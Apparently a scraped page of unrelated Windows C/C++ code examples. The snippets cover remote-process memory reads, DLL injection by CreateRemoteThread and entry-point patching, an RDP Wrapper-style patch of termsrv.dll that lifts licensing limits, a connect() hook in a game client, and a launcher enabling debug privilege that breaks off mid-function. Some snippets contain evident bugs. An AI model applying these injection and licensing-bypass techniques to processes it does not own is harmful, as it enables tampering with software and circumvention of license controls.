Beispiel #1
0
	String*	Helper::GetListViewItemText	(DWORD	processID,
										 IntPtr	listViewHWnd,
										 int	rowNum,
										 int	colNum)
	{
		const	int	textSize = 1024; // TODO: figure out the correct size
		HANDLE hProcess = OpenProcess (STANDARD_RIGHTS_REQUIRED | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, processID);
		char *pTextProcess = (char *) VirtualAllocEx (hProcess, NULL, textSize, MEM_COMMIT, PAGE_READWRITE);
		LV_ITEM *pListViewItemProcess = (LV_ITEM *) VirtualAllocEx (hProcess, NULL, sizeof (LV_ITEM), MEM_COMMIT, PAGE_READWRITE);

		BOOL	result = FALSE;
		char	pszText[textSize];
		ZeroMemory (pszText, textSize * sizeof (char));
		unsigned long	bytesRead = 0;
		unsigned long	bytesWritten = 0;

		LV_ITEM listViewItem;
		ZeroMemory (&listViewItem, sizeof (listViewItem));
		listViewItem.mask = LVIF_TEXT;
		listViewItem.iItem = rowNum;
		listViewItem.iSubItem = colNum;
		listViewItem.cchTextMax = textSize;
		listViewItem.pszText = pTextProcess;

		result = WriteProcessMemory (hProcess, pListViewItemProcess, &listViewItem, sizeof (listViewItem), &bytesWritten);
		if (!result) {
			char *msg = NULL;
			FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError (), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &msg, 0, NULL);
			String *message = new String (msg);
			LocalFree (msg);
			msg = NULL;
			throw new HelperException ((new String ("WriteProcessMemory Error - "))->Concat (message));
		}

		result = ListView_GetItem ((HWND) listViewHWnd.ToPointer (), pListViewItemProcess);
		if (!result) {
			throw new HelperException ("ListView_GetItem Error - ListView_GetItem failed");
		}

		result = ReadProcessMemory (hProcess, pListViewItemProcess, &listViewItem, sizeof (listViewItem), &bytesRead);
		if (!result) {
			char *msg = NULL;
			FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError (), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &msg, 0, NULL);
			String *message = new String (msg);
			LocalFree (msg);
			msg = NULL;

			throw new HelperException ((new String ("ReadProcessMemory Error - "))->Concat (message));
		}

		result = ReadProcessMemory (hProcess, listViewItem.pszText, pszText, textSize, &bytesRead);
		if (!result) {
			char *msg = NULL;
			FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError (), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &msg, 0, NULL);
			String *message = new String (msg);
			LocalFree (msg);
			msg = NULL;

			throw new HelperException ((new String ("ReadProcessMemory Error - "))->Concat (message));
		}

		String *itemText = new String (pszText);

		return itemText;
	} // GetListViewItemText
//--------------------------------------------------------------------------
// patches the entry point of the main thread to go into infinite loop
// dll is injected when this loop is reached,
// after which the old entry point data is restored
int PatchEntryPoint(HANDLE proc, HANDLE thread, char *dllName)
{
    DWORD entryPoint;
    DWORD oldProtect1,oldProtect2;
    unsigned char oldHeader[2];
    unsigned char newHeader[2];
    CONTEXT context;

    entryPoint = GetEntryPoint(proc);

    if (!entryPoint)
    {
        printf("Error getting entry point\n");
        return 0;
    }

    // make entry point writeable
    VirtualProtectEx(proc, (LPVOID)entryPoint, 2, PAGE_EXECUTE_READWRITE, &oldProtect1);

    //store 2 bytes from entry point
    if (!ReadProcessMemory(proc, (LPCVOID)(entryPoint),oldHeader, 2, NULL))
    {
        printf("Error reading data from entry point");
        return 0;
    }

    // JMP -2
    newHeader[0] = 0xEB;
    newHeader[1] = 0xFE;

    // patch entry point to go into infinite loop
    if (!WriteProcessMemory(proc, (LPVOID)(entryPoint),newHeader, 2, NULL))
    {
        printf("Error writing to entry point");
        return 0;
    }

    ResumeThread(thread);

    // wait until entry point is reached
    while (true)
    {
        Sleep(100);

        context.ContextFlags = CONTEXT_CONTROL;
        GetThreadContext(thread, &context);

        if (context.Eip == entryPoint)
            break;
    }

    InjectDLL(proc, dllName);

    SuspendThread(thread);

    // return original code to entry point
    if (!WriteProcessMemory(proc, (LPVOID)(entryPoint),oldHeader, 2, NULL))
    {
        printf("Error writing to entry point");
        return 0;
    }

    // restore protection
    VirtualProtectEx(proc, (LPVOID)entryPoint, 2, oldProtect1, &oldProtect2);

    return 1;
}
HANDLE __stdcall DllInjectionW(PROCESS_INFORMATION *pi,	//プロセスの情報
								   const wchar_t *szDllName)//Dllファイル名
{

	HANDLE hProcess = pi->hProcess;

	//dllファイルの絶対パスを保存する変数
	TCHAR szLibFile[MAX_PATH];
	//dllファイルの絶対パスの文字列の長さ + 1(\0までの長さを保存する)
	int szLibFileLen;

	//もし相対パスなら、
	//自身の絶対パスの取得をして、dllまでの絶対パスを作る。
	//(例 X:/-----/--.... というパスは、1バイト目が':'なので、絶対パスとなる。)
	//絶対パスなら、そのままコピーするだけ。
	if(szDllName[1] != ':'){
		GetModuleFileName(NULL, szLibFile, sizeof(szLibFile));
		lstrcpy(_tcsrchr(szLibFile, _TEXT('\\')) + 1, szDllName);
	} else {
		lstrcpyW(szLibFile,szDllName);
	}
	//長さ(使うメモリ領域)の計算
	szLibFileLen = lstrlen(szLibFile) + 1;
	szLibFileLen = szLibFileLen * sizeof(TCHAR);

	//プロセス内にメモリ領域の確保
	LPSTR RemoteProcessMemory;
	RemoteProcessMemory = (LPSTR)VirtualAllocEx( hProcess, NULL, szLibFileLen, MEM_COMMIT, PAGE_READWRITE);
	if(RemoteProcessMemory == NULL){
		//setErrorString("プロセス内にメモリが確保できませんでした。");
		return NULL;  
	}
	//書き込み
	if(WriteProcessMemory(hProcess, RemoteProcessMemory, (PVOID)szLibFile, szLibFileLen, NULL) == 0){
		//setErrorString("プロセスに書き込みができませんでした。");
		return NULL;
	} 
	//LoadLibraryW関数が始まるポインタの取得
	PTHREAD_START_ROUTINE pfnThreadRtn; 
	pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress( GetModuleHandle(_TEXT("Kernel32")), "LoadLibraryW");
	if (pfnThreadRtn == NULL){
		//setErrorString("LoadLibraryが見つかりませんでした。(何故?)");
		return NULL;  
	} 
	//スレッド作成
	HANDLE hThread;
	hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, RemoteProcessMemory,CREATE_SUSPENDED, NULL);
	if (hThread == NULL){
		//setErrorString("スレッドが作れませんでした。");
		return NULL;
	}

	//スレッド実行
	ResumeThread(hThread);
	BYTE *modulePointer = (BYTE *)WaitForSingleObject(hThread,INFINITE);
	DWORD dwExitCode;	//終了コード
	GetExitCodeThread(hThread,&dwExitCode);
	CloseHandle(hThread);	//スレッドを閉じる
	
	//プロセス内に確保したメモリの開放
	VirtualFreeEx(hProcess,RemoteProcessMemory,260,MEM_DECOMMIT);

	if(dwExitCode == NULL){
		char a_szLibName[MAX_PATH];
		BOOL bDummy;
		WideCharToMultiByte(CP_ACP,0,szLibFile,-1,a_szLibName,MAX_PATH,"<不明なライブラリ>",&bDummy);
		//setErrorStringEx("%s ---- DLLがロードできませんでした。",a_szLibName);
		return NULL;
	}

	return (HANDLE)dwExitCode;
}
Beispiel #4
0
void Inject()
{
	HANDLE hProcess = NULL;
	HANDLE hThread = NULL;
	char * pFileName = NULL;

	__try
	{
		HWND hWnd = GetForegroundWindow();
		char buffer[256];
		GetWindowText(hWnd, buffer, 255);
		printf("当前窗口: %s\n", buffer);

		DWORD pid = 0;
		GetWindowThreadProcessId(hWnd, &pid);
		printf("进程ID: %x\n", pid);

		hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,
			FALSE, pid);
		if(!hProcess)
		{
			printf("打开进程失败。\n");
			__leave;
		}

		int cb = strlen(g_dllName) + 1;

		pFileName = (char *)VirtualAllocEx(hProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);
		if(!pFileName)
		{
			printf("分配内存失败。\n");
			__leave;
		}

		if(!WriteProcessMemory(hProcess, pFileName, g_dllName, cb, NULL))
		{
			printf("写入DLL名称失败。\n");
			__leave;
		}

		PTHREAD_START_ROUTINE pfn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"), 
			"LoadLibraryA");
		if(!pfn)
		{
			printf("获取LoadLibraryA地址失败。\n");
			__leave;
		}

		hThread = CreateRemoteThread(hProcess, NULL, 0, pfn, pFileName, 0, NULL);
		if(!hThread)
		{
			printf("创建远程线程失败。\n");
			__leave;
		}

		WaitForSingleObject(hThread, INFINITE);
	}
	__finally
	{
		if(pFileName)
			VirtualFreeEx(hProcess, pFileName, 0, MEM_RELEASE);
		if(hThread) CloseHandle(hThread);
		if(hProcess) CloseHandle(hProcess);
	}

}
Beispiel #5
0
void Hook()
{
	extern FARJMP Old_SLGetWindowsInformationDWORD, Stub_SLGetWindowsInformationDWORD;
	extern SLGETWINDOWSINFORMATIONDWORD _SLGetWindowsInformationDWORD;
	extern HMODULE hTermSrv;
	extern HMODULE hSLC;
	extern PLATFORM_DWORD TermSrvBase;
	extern FILE_VERSION FV;
	extern wchar_t LogFile[256];

	AlreadyHooked = true;
	char *Log;

	wchar_t ConfigFile[256] = { 0x00 };
	WriteToLog("Loading configuration...\r\n");

	GetModuleFileName(GetCurrentModule(), ConfigFile, 255);
	for (DWORD i = wcslen(ConfigFile); i > 0; i--)
	{
		if (ConfigFile[i] == '\\')
		{
			memset(&ConfigFile[i + 1], 0x00, ((256 - (i + 1))) * 2);
			memcpy(&ConfigFile[i + 1], L"rdpwrap.ini", strlen("rdpwrap.ini") * 2);
			break;
		}
	}

	Log = new char[1024];
	wsprintfA(Log, "Configuration file: %S\r\n", ConfigFile);
	WriteToLog(Log);
	delete[] Log;

	IniFile = new INI_FILE(ConfigFile);
	// TODO: implement this
	if (IniFile == NULL)
	{
		WriteToLog("Error: Failed to load configuration\r\n");
		return;
	}

	INI_VAR_STRING LogFileVar;

	if(!(IniFile->GetVariableInSection("Main", "LogFile", &LogFileVar)))
	{
		GetModuleFileName(GetCurrentModule(), LogFile, 255);
		for(DWORD i = wcslen(LogFile); i > 0; i--)
		{
			if(LogFile[i] == '\\')
			{
				memset(&LogFile[i+1], 0x00, ((256-(i+1)))*2);
				memcpy(&LogFile[i+1], L"rdpwrap.txt", strlen("rdpwrap.txt")*2);
				break;
			}
		}
	}
	else
	{
		// TODO: Change it before add UNICODE in IniFile
		wchar_t wcLogFile[256];
		memset(wcLogFile, 0x00, 256);
		mbstowcs(wcLogFile, LogFileVar.Value, 255);
		wcscpy(LogFile, wcLogFile);
	}

	SIZE_T bw;
	WORD Ver = 0;
	PLATFORM_DWORD TermSrvSize, SignPtr;
	FARJMP Jump;

	WriteToLog("Initializing RDP Wrapper...\r\n");

	hTermSrv = LoadLibrary(L"termsrv.dll");
	if (hTermSrv == 0)
	{
		WriteToLog("Error: Failed to load Terminal Services library\r\n");
		return;
	}
	_ServiceMain = (SERVICEMAIN)GetProcAddress(hTermSrv, "ServiceMain");
	_SvchostPushServiceGlobals = (SVCHOSTPUSHSERVICEGLOBALS)GetProcAddress(hTermSrv, "SvchostPushServiceGlobals");

	Log = new char[4096];
	wsprintfA(Log,
		"Base addr:  0x%p\r\n"
		"SvcMain:    termsrv.dll+0x%p\r\n"
		"SvcGlobals: termsrv.dll+0x%p\r\n",
		hTermSrv,
		(PLATFORM_DWORD)_ServiceMain - (PLATFORM_DWORD)hTermSrv,
		(PLATFORM_DWORD)_SvchostPushServiceGlobals - (PLATFORM_DWORD)hTermSrv);
	WriteToLog(Log);
	delete[] Log;

	// check termsrv version
	if (GetModuleVersion(L"termsrv.dll", &FV))
	{
		Ver = (BYTE)FV.wVersion.Minor | ((BYTE)FV.wVersion.Major << 8);
	} else {
		// check NT version
		// Ver = GetVersion(); // deprecated
		// Ver = ((Ver & 0xFF) << 8) | ((Ver & 0xFF00) >> 8);
	}
	if (Ver == 0)
	{
		WriteToLog("Error: Failed to detect Terminal Services version\r\n");
		return;
	}

	Log = new char[1024];
	wsprintfA(Log, "Version:    %d.%d.%d.%d\r\n", FV.wVersion.Major, FV.wVersion.Minor, FV.Release, FV.Build);
	WriteToLog(Log);
	delete[] Log;

	// temporarily freeze threads
	WriteToLog("Freezing threads...\r\n");
	SetThreadsState(false);

	bool Bool;
	if (!(IniFile->GetVariableInSection("Main", "SLPolicyHookNT60", &Bool))) Bool = true;

	if ((Ver == 0x0600) && Bool)
	{
		// Windows Vista
		// uses SL Policy API (slc.dll)

		// load slc.dll and hook function
		hSLC = LoadLibrary(L"slc.dll");
		_SLGetWindowsInformationDWORD = (SLGETWINDOWSINFORMATIONDWORD)GetProcAddress(hSLC, "SLGetWindowsInformationDWORD");
		if (_SLGetWindowsInformationDWORD != INVALID_HANDLE_VALUE)
		{
			// rewrite original function to call our function (make hook)

			WriteToLog("Hook SLGetWindowsInformationDWORD\r\n");
			#ifdef _WIN64
			Stub_SLGetWindowsInformationDWORD.MovOp = 0x48;
			Stub_SLGetWindowsInformationDWORD.MovRegArg = 0xB8;
			Stub_SLGetWindowsInformationDWORD.MovArg = (PLATFORM_DWORD)New_SLGetWindowsInformationDWORD;
			Stub_SLGetWindowsInformationDWORD.PushRaxOp = 0x50;
			Stub_SLGetWindowsInformationDWORD.RetOp = 0xC3;
			#else
			Stub_SLGetWindowsInformationDWORD.PushOp = 0x68;
			Stub_SLGetWindowsInformationDWORD.PushArg = (PLATFORM_DWORD)New_SLGetWindowsInformationDWORD;
			Stub_SLGetWindowsInformationDWORD.RetOp = 0xC3;
			#endif

			ReadProcessMemory(GetCurrentProcess(), _SLGetWindowsInformationDWORD, &Old_SLGetWindowsInformationDWORD, sizeof(FARJMP), &bw);
			WriteProcessMemory(GetCurrentProcess(), _SLGetWindowsInformationDWORD, &Stub_SLGetWindowsInformationDWORD, sizeof(FARJMP), &bw);
		}
	}

	if (!(IniFile->GetVariableInSection("Main", "SLPolicyHookNT61", &Bool))) Bool = true;

	if ((Ver == 0x0601) && Bool)
	{
		// Windows 7
		// uses SL Policy API (slc.dll)

		// load slc.dll and hook function
		hSLC = LoadLibrary(L"slc.dll");
		_SLGetWindowsInformationDWORD = (SLGETWINDOWSINFORMATIONDWORD)GetProcAddress(hSLC, "SLGetWindowsInformationDWORD");
		if (_SLGetWindowsInformationDWORD != INVALID_HANDLE_VALUE)
		{
			// rewrite original function to call our function (make hook)

			WriteToLog("Hook SLGetWindowsInformationDWORD\r\n");
			#ifdef _WIN64
			Stub_SLGetWindowsInformationDWORD.MovOp = 0x48;
			Stub_SLGetWindowsInformationDWORD.MovRegArg = 0xB8;
			Stub_SLGetWindowsInformationDWORD.MovArg = (PLATFORM_DWORD)New_SLGetWindowsInformationDWORD;
			Stub_SLGetWindowsInformationDWORD.PushRaxOp = 0x50;
			Stub_SLGetWindowsInformationDWORD.RetOp = 0xC3;
			#else
			Stub_SLGetWindowsInformationDWORD.PushOp = 0x68;
			Stub_SLGetWindowsInformationDWORD.PushArg = (PLATFORM_DWORD)New_SLGetWindowsInformationDWORD;
			Stub_SLGetWindowsInformationDWORD.RetOp = 0xC3;
			#endif

			ReadProcessMemory(GetCurrentProcess(), _SLGetWindowsInformationDWORD, &Old_SLGetWindowsInformationDWORD, sizeof(FARJMP), &bw);
			WriteProcessMemory(GetCurrentProcess(), _SLGetWindowsInformationDWORD, &Stub_SLGetWindowsInformationDWORD, sizeof(FARJMP), &bw);
		}
	}
	if (Ver == 0x0602)
	{
		// Windows 8
		// uses SL Policy internal unexported function

		// load slc.dll and get function
		// (will be used on intercepting undefined values)
		hSLC = LoadLibrary(L"slc.dll");
		_SLGetWindowsInformationDWORD = (SLGETWINDOWSINFORMATIONDWORD)GetProcAddress(hSLC, "SLGetWindowsInformationDWORD");
	}
	if (Ver == 0x0603)
	{
		// Windows 8.1
		// uses SL Policy internal inline code
	}
	if (Ver == 0x0604)
	{
		// Windows 10
		// uses SL Policy internal inline code
	}

	char *Sect;
	INI_VAR_STRING PatchName;
	INI_VAR_BYTEARRAY Patch;
	Sect = new char[256];
	memset(Sect, 0x00, 256);
	wsprintfA(Sect, "%d.%d.%d.%d", FV.wVersion.Major, FV.wVersion.Minor, FV.Release, FV.Build);

	if (IniFile->SectionExists(Sect))
	{
		if (GetModuleCodeSectionInfo(hTermSrv, &TermSrvBase, &TermSrvSize))
		{
			#ifdef _WIN64
			if (!(IniFile->GetVariableInSection(Sect, "LocalOnlyPatch.x64", &Bool))) Bool = false;
			#else
			if (!(IniFile->GetVariableInSection(Sect, "LocalOnlyPatch.x86", &Bool))) Bool = false;
			#endif
			if (Bool)
			{
				WriteToLog("Patch CEnforcementCore::GetInstanceOfTSLicense\r\n");
				Bool = false;
				#ifdef _WIN64
				SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "LocalOnlyOffset.x64", 0));
				Bool = IniFile->GetVariableInSection(Sect, "LocalOnlyCode.x64", &PatchName);
				#else
				SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "LocalOnlyOffset.x86", 0));
				Bool = IniFile->GetVariableInSection(Sect, "LocalOnlyCode.x86", &PatchName);
				#endif
				if (Bool) Bool = IniFile->GetVariableInSection("PatchCodes", PatchName.Value, &Patch);
				if (Bool && (SignPtr > TermSrvBase)) WriteProcessMemory(GetCurrentProcess(), (LPVOID)SignPtr, Patch.Value, Patch.ArraySize, &bw);
			}
			#ifdef _WIN64
			if (!(IniFile->GetVariableInSection(Sect, "SingleUserPatch.x64", &Bool))) Bool = false;
			#else
			if (!(IniFile->GetVariableInSection(Sect, "SingleUserPatch.x86", &Bool))) Bool = false;
			#endif
			if (Bool)
			{
				WriteToLog("Patch CSessionArbitrationHelper::IsSingleSessionPerUserEnabled\r\n");
				Bool = false;
				#ifdef _WIN64
				SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "SingleUserOffset.x64", 0));
				Bool = IniFile->GetVariableInSection(Sect, "SingleUserCode.x64", &PatchName);
				#else
				SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "SingleUserOffset.x86", 0));
				Bool = IniFile->GetVariableInSection(Sect, "SingleUserCode.x86", &PatchName);
				#endif
				if (Bool) Bool = IniFile->GetVariableInSection("PatchCodes", PatchName.Value, &Patch);
				if (Bool && (SignPtr > TermSrvBase)) WriteProcessMemory(GetCurrentProcess(), (LPVOID)SignPtr, Patch.Value, Patch.ArraySize, &bw);
			}
			#ifdef _WIN64
			if (!(IniFile->GetVariableInSection(Sect, "DefPolicyPatch.x64", &Bool))) Bool = false;
			#else
			if (!(IniFile->GetVariableInSection(Sect, "DefPolicyPatch.x86", &Bool))) Bool = false;
			#endif
			if (Bool)
			{
				WriteToLog("Patch CDefPolicy::Query\r\n");
				Bool = false;
				#ifdef _WIN64
				SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "DefPolicyOffset.x64", 0));
				Bool = IniFile->GetVariableInSection(Sect, "DefPolicyCode.x64", &PatchName);
				#else
				SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "DefPolicyOffset.x86", 0));
				Bool = IniFile->GetVariableInSection(Sect, "DefPolicyCode.x86", &PatchName);
				#endif
				if (Bool) Bool = IniFile->GetVariableInSection("PatchCodes", PatchName.Value, &Patch);
				if (Bool && (SignPtr > TermSrvBase)) WriteProcessMemory(GetCurrentProcess(), (LPVOID)SignPtr, Patch.Value, Patch.ArraySize, &bw);
			}
			#ifdef _WIN64
			if (!(IniFile->GetVariableInSection(Sect, "SLPolicyInternal.x64", &Bool))) Bool = false;
			#else
			if (!(IniFile->GetVariableInSection(Sect, "SLPolicyInternal.x86", &Bool))) Bool = false;
			#endif
			if (Bool)
			{
				WriteToLog("Hook SLGetWindowsInformationDWORDWrapper\r\n");
				char *FuncName;
				FuncName = new char[1024];
				#ifdef _WIN64
				SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "SLPolicyOffset.x64", 0));
				Jump.MovOp = 0x48;
				Jump.MovRegArg = 0xB8;
				Jump.MovArg = (PLATFORM_DWORD)New_Win8SL;
				Jump.PushRaxOp = 0x50;
				Jump.RetOp = 0xC3;

				INIReadString(IniFile, Sect, "SLPolicyFunc.x64", "New_Win8SL", FuncName, 1024);

				if (strcmp(FuncName, "New_Win8SL"))
				{
					Jump.MovArg = (PLATFORM_DWORD)New_Win8SL;
				}
				#else
				SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "SLPolicyOffset.x86", 0));
				Jump.PushOp = 0x68;
				Jump.PushArg = (PLATFORM_DWORD)New_Win8SL;
				Jump.RetOp = 0xC3;

				INIReadString(IniFile, Sect, "SLPolicyFunc.x86", "New_Win8SL", FuncName, 1024);

				if (strcmp(FuncName, "New_Win8SL"))
				{
					Jump.PushArg = (PLATFORM_DWORD)New_Win8SL;
				}
				if (strcmp(FuncName, "New_Win8SL_CP"))
				{
					Jump.PushArg = (PLATFORM_DWORD)New_Win8SL_CP;
				}
				#endif
				delete[] FuncName;
				if (SignPtr > TermSrvBase) WriteProcessMemory(GetCurrentProcess(), (LPVOID)SignPtr, &Jump, sizeof(FARJMP), &bw);
			}
			#ifdef _WIN64
			if (!(IniFile->GetVariableInSection(Sect, "SLInitHook.x64", &Bool))) Bool = false;
			#else
			if (!(IniFile->GetVariableInSection(Sect, "SLInitHook.x86", &Bool))) Bool = false;
			#endif
			if (Bool)
			{
				WriteToLog("Hook CSLQuery::Initialize\r\n");
				char *FuncName;
				FuncName = new char[1024];
				#ifdef _WIN64
				SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "SLInitOffset.x64", 0));
				Jump.MovOp = 0x48;
				Jump.MovRegArg = 0xB8;
				Jump.MovArg = (PLATFORM_DWORD)New_CSLQuery_Initialize;
				Jump.PushRaxOp = 0x50;
				Jump.RetOp = 0xC3;

				INIReadString(IniFile, Sect, "SLInitFunc.x64", "New_CSLQuery_Initialize", FuncName, 1024);

				if (strcmp(FuncName, "New_CSLQuery_Initialize"))
				{
					Jump.MovArg = (PLATFORM_DWORD)New_CSLQuery_Initialize;
				}
				#else
				SignPtr = (PLATFORM_DWORD)(TermSrvBase + INIReadDWordHex(IniFile, Sect, "SLInitOffset.x86", 0));
				Jump.PushOp = 0x68;
				Jump.PushArg = (PLATFORM_DWORD)New_CSLQuery_Initialize;
				Jump.RetOp = 0xC3;

				INIReadString(IniFile, Sect, "SLInitFunc.x86", "New_CSLQuery_Initialize", FuncName, 1024);

				if (strcmp(FuncName, "New_CSLQuery_Initialize"))
				{
					Jump.PushArg = (PLATFORM_DWORD)New_CSLQuery_Initialize;
				}
				#endif
				delete[] FuncName;
				if (SignPtr > TermSrvBase) WriteProcessMemory(GetCurrentProcess(), (LPVOID)SignPtr, &Jump, sizeof(FARJMP), &bw);
			}
		}
	}
	delete[] Sect;

	WriteToLog("Resumimg threads...\r\n");
	SetThreadsState(true);
	return;
}
//取得任务管理器的选项
char* GetListText()
{
	static char output[512]; 

	//查找任务管理器窗口
	DWORD PID;
	HANDLE hProcess;

	LVITEM lvitem, *plvitem = NULL;
	char ItemBuf[512],*pItem = NULL;

	HWND hwnd=FindWindow("#32770","Windows 任务管理器");
	hwnd=FindWindowEx(hwnd,0,"#32770",0);
	//查找列表控件
	hwnd=FindWindowEx(hwnd,0,"SysListView32",0);
	if (!hwnd)
	{
		MessageBox(NULL,"Windows 任务管理器 尚未启动","提示!",MB_ICONWARNING);
		return output;
	}
	//取得选项的索引
	int iItem=SendMessage(hwnd,LVM_GETNEXTITEM,-1,LVNI_SELECTED);
	if (iItem==-1)
	{
		MessageBox(NULL,"没有指定目标进程!","提示!",MB_ICONWARNING);
		CloseHandle(hwnd);
		return output;
	}

	//打开进程
	GetWindowThreadProcessId(hwnd,&PID);
	hProcess=OpenProcess(PROCESS_ALL_ACCESS,false,PID);
	if (!hProcess)
	{
		MessageBox(NULL,"获取进程句柄操作失败","提示!",MB_ICONWARNING);
		CloseHandle(hwnd);
		return output;
	}

	//分配虚拟内存
	plvitem=(LVITEM*)VirtualAllocEx(hProcess, NULL, sizeof(LVITEM), MEM_COMMIT, PAGE_READWRITE);
	pItem=(char*)VirtualAllocEx(hProcess, NULL, 512, MEM_COMMIT, PAGE_READWRITE);
	if ((!plvitem)||(!pItem))
	{
		MessageBox(NULL,"无法分配内存!","提示!",MB_ICONWARNING);
		CloseHandle(hwnd);
		CloseHandle(hProcess);
		return output;
	}

	//得到选择内容
	lvitem.cchTextMax=512;
	//lvitem.iSubItem=1;//PID
	lvitem.iSubItem=0; //ProcessName
	lvitem.pszText=pItem;
	WriteProcessMemory(hProcess, plvitem, &lvitem, sizeof(LVITEM), NULL);
	SendMessage(hwnd, LVM_GETITEMTEXT, (WPARAM)iItem, (LPARAM)plvitem);
	ReadProcessMemory(hProcess, pItem, ItemBuf, 512, NULL);
	strcpy(output,ItemBuf);

	//释放内存
	CloseHandle(hwnd);
	CloseHandle(hProcess);
	VirtualFreeEx(hProcess, plvitem, 0, MEM_RELEASE);
	VirtualFreeEx(hProcess, pItem, 0, MEM_RELEASE);
	return output;
}
void ProcessInjector::run()
{
    HANDLE lolProcess = NULL;
    PROCESSENTRY32 entry;

    // Wait until the client launchs
    do {
        msleep(500);

        entry.dwSize = sizeof(PROCESSENTRY32);
        HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

        if(Process32First(snapshot, &entry)){
            while(Process32Next(snapshot, &entry)){
                if(wcsicmp(entry.szExeFile, L"lolclient.exe") == 0){
                    lolProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, entry.th32ProcessID);

                    if(!lolProcess) { // do this here so we don't close an invalid handle in EXIT
                        CloseHandle(snapshot);
                        emit injected(InjectionStatus::AuthError);
                        exec();
                        return;
                    }

                    break;
                }

            }
        }

        CloseHandle(snapshot);
    } while(!lolProcess);

    //TODO 64bit check

    // Calculate connect function offset
    auto ourWs2 = GetModuleHandleA("ws2_32.dll");
    int32_t offset = (int32_t)GetProcAddress(ourWs2, "connect") - (int32_t)ourWs2;

    // Wait until the client loads ws2
    void* lolConnectAddr = 0;

    do {
        msleep(100);

        MODULEENTRY32 modEntry;
        modEntry.dwSize = sizeof(MODULEENTRY32);
        HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, entry.th32ProcessID);

        if(!snapshot)
            EXIT(MemoryError);

        if(Module32First(snapshot, &modEntry)){
            do{
                if(wcsicmp(modEntry.szModule, L"ws2_32.dll") == 0){
                    lolConnectAddr = modEntry.modBaseAddr + offset;
                    break;
                }
            }while(Module32Next(snapshot, &modEntry));
        }

        CloseHandle(snapshot);
    }while(!lolConnectAddr);

    // Do some checks
    unsigned char checkBuff[5];
    if(!ReadProcessMemory(lolProcess, lolConnectAddr, (void*)checkBuff, 5, NULL))
        EXIT(MemoryError);
    if(checkBuff[0] == 0xe9)
        EXIT(AlreadyInjected);
    if(!std::equal(safeCheck, safeCheck+5, checkBuff))
        EXIT(MemoryError);

    // Create the cc
    LPVOID ccAddr = VirtualAllocEx(lolProcess, NULL, sizeof(connectcc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if(!ccAddr)
        EXIT(MemoryError);

    unsigned char cc[sizeof(connectcc)];
    std::copy(connectcc, connectcc+sizeof(cc), cc);

    // Set the jmp back
    *reinterpret_cast<int32_t*>(cc + sizeof(cc)-4) = ((int32_t)lolConnectAddr + 5) - ((int32_t)ccAddr + sizeof(cc));

    if(!WriteProcessMemory(lolProcess, ccAddr, (void*)cc, sizeof(cc), NULL))
        EXIT(MemoryError);

    // Set the jmp in
    unsigned char jmp[5] = {0xe9};
    *reinterpret_cast<int32_t*>(jmp+1) = (int32_t)ccAddr - ((int32_t)lolConnectAddr + 5);

    if(!WriteProcessMemory(lolProcess, lolConnectAddr, jmp, 5, NULL))
        EXIT(MemoryError);

    emit injected(InjectionStatus::Succeed);
}
int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
{
	UNREFERENCED_PARAMETER(hPrevInstance);
	//UNREFERENCED_PARAMETER(lpCmdLine);

	char **	Command	= 0;
	CommandLineToArg(GetCommandLine(), &Command);
	if( strcmp("Updater", Command[1]) )
	{
		MessageBox(0, "Please start game from Launcher", "Start Error", ERROR);
		ExitProcess(0);
	}

	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

	HANDLE hToken;

	VMBEGIN

	if(!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
    {
        if (GetLastError() == ERROR_NO_TOKEN)
        {
            if (!ImpersonateSelf(SecurityImpersonation))
			{
				MessageBox(NULL, "Code: 101", "Starter error", NULL);
				return 0;
			}

            if(!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken)){
				MessageBox(NULL, "Code: 102", "Starter error", NULL);
				return 0;
            }
         }
        else
            return 0;
     }

	VMEND

	if( !SetPrivilege(hToken, SE_DEBUG_NAME, TRUE) )
    {
